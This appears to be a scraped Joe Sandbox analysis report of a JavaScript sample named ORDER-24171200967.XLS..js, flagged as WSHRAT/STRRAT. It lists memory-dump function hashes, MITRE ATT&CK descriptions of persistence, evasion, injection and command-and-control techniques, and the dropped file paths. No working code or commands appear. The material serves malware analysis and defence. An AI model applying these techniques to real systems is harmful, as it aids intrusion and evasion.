Instruction ID: d124605cf20fc5f667e583ed7638486251712bd91c0430cb971ef0e35b925069
Opcode Fuzzy Hash: 7bbcfb53b0ab9b99655328fb77d8b1b9a8ae95cb152d15f13aebefbe2c96ba20
Instruction Fuzzy Hash: AEF0C2B6D00A06ABDB24CF65C1047DAFBB4BB84714F14461AC42C63310D378B465CBC0

Function 027B50F6 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a13f6e91dd16a9a3e1f7ce09afbe8bb78feaf6c6ee531fcd1e5a37517c059dc
Instruction ID: c87002ef81848ad6b8c1452254ea424eb9052bfb55a2c5c0c7640bc0c02497b7
Opcode Fuzzy Hash: 5a13f6e91dd16a9a3e1f7ce09afbe8bb78feaf6c6ee531fcd1e5a37517c059dc
Instruction Fuzzy Hash: 78F0C2B6D00A06ABDB24CF65C1047DAFBB4BB84B24F14461AC42C63310C778B465CBD0

Function 027B49AA Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb08d0d5454122bebfea4471f25dcde0af55a0497bcade574542bab19db30c02
Instruction ID: 7666dc1b3d25a517757a9c5fba58702d63266c99922b3a434568214d7cc5e04c
Opcode Fuzzy Hash: eb08d0d5454122bebfea4471f25dcde0af55a0497bcade574542bab19db30c02
Instruction Fuzzy Hash: CAF0CAB6D00A06ABDB24CF65C1047CAFBB4BB88728F14461AC42C67360D378B469CBC0

Function 027ADE6E Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41081552aa461efa29341f53e2ec1b4411101a05b16b2e34ce04353ff1956d64
Instruction ID: e6b40201715c8f257ee52cfb7a7cab253548d765ec1b745784728f3b299720ae
Opcode Fuzzy Hash: 41081552aa461efa29341f53e2ec1b4411101a05b16b2e34ce04353ff1956d64
Instruction Fuzzy Hash: 96F0CAB6D00A06ABDB25CF61C1047CAFBB4BB88728F15421AC42C63720C778B469CBC0

Function 027B3C76 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31b74b6a36820aa25c94b568a44f822fed670a7b51f83f4fdf667e138ad83d5b
Instruction ID: 7fe3951e2c04110137bed325d83f751325106dd1d3a97138eebc679303a93ed3
Opcode Fuzzy Hash: 31b74b6a36820aa25c94b568a44f822fed670a7b51f83f4fdf667e138ad83d5b
Instruction Fuzzy Hash: E8F0CAB6D00A0AABDB24CF65C1047CAFBB4BB88728F14461AC42C67320D378B469CBC0

Function 027B45E9 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b954b06727bae99be236b7daed00496f4360fb880b3570ff931a57c4e32120
Instruction ID: 02694d7f9b216a3607a3c84b58bf98ae3a1e1cd3d19dd465218b6f9ea023488a
Opcode Fuzzy Hash: 26b954b06727bae99be236b7daed00496f4360fb880b3570ff931a57c4e32120
Instruction Fuzzy Hash: 28F0C2B6D00A06ABDB25CF65C1047CAFBB4BB84724F18461AC52C63310D378B469CBC0

Function 027B4EF4 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A2000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a2000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cfcc30e9f388130e6acf530c2a19a2fa98eb6530a9b5c404c966db65a99a5df
Instruction ID: be4ee39e583713c67fe9045e7cb783adad6ec91d0c0df89dc18831c044a2bd53
Opcode Fuzzy Hash: 7cfcc30e9f388130e6acf530c2a19a2fa98eb6530a9b5c404c966db65a99a5df
Instruction Fuzzy Hash: 1FF0CAB6D00A0AABDB24CF61C10438AFBB0BB88B18F14421AC42C63710C378B865CFC0

Non-executed Functions

Function 027A03C0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974032508.00000000027A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 027A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_27a0000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a012a9fb5cf5d9e1554885d89a3030425dd9bcc3e3bcfa4e280c99466c7885fc
Instruction ID: 6ba285a9c914b7eec48ef7afe711b2c77c7182bc5c58d230c2ada5afcc2d90f3
Opcode Fuzzy Hash: a012a9fb5cf5d9e1554885d89a3030425dd9bcc3e3bcfa4e280c99466c7885fc
Instruction Fuzzy Hash: CC2114BA5082569FDB358F188C503D9B7E5FB48324F214D2EDEC9EB710D3306A898B90

Function 154BC32E Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2446540782.00000000154BB000.00000004.00000020.00020000.00000000.sdmp, Offset: 154BB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_154bb000_javaw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53591207da686bba601c52011e58bae575b37843e4de8e68f72af56d72de4594
Instruction ID: bb4198fb0528db5829c0a266bacae939d802c8eaf247b80f7ec9855d51410a24
Opcode Fuzzy Hash: 53591207da686bba601c52011e58bae575b37843e4de8e68f72af56d72de4594
Instruction Fuzzy Hash: 51218E2144E7D18FD7078B748C7A6963FB09B13265B5A86EBC4C2CF0E3D12D4919D722

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Process: Process Creation, Service: Service Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ORDER-24171200967.XLS..js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: WSHRAT

Threatname: STRRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Oracle\Java\.oracle_jre_usage\b5820291038aa69c.timestamp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ours[1].js

C:\Users\user\AppData\Local\Temp\BDl.jar

C:\Users\user\AppData\Local\Temp\ELMAMV.js

C:\Users\user\AppData\Local\Temp\adobe.js

C:\Users\user\AppData\Local\Temp\hsperfdata_user\7540

C:\Users\user\AppData\Local\Temp\word.js

Windows Analysis Report
ORDER-24171200967.XLS..js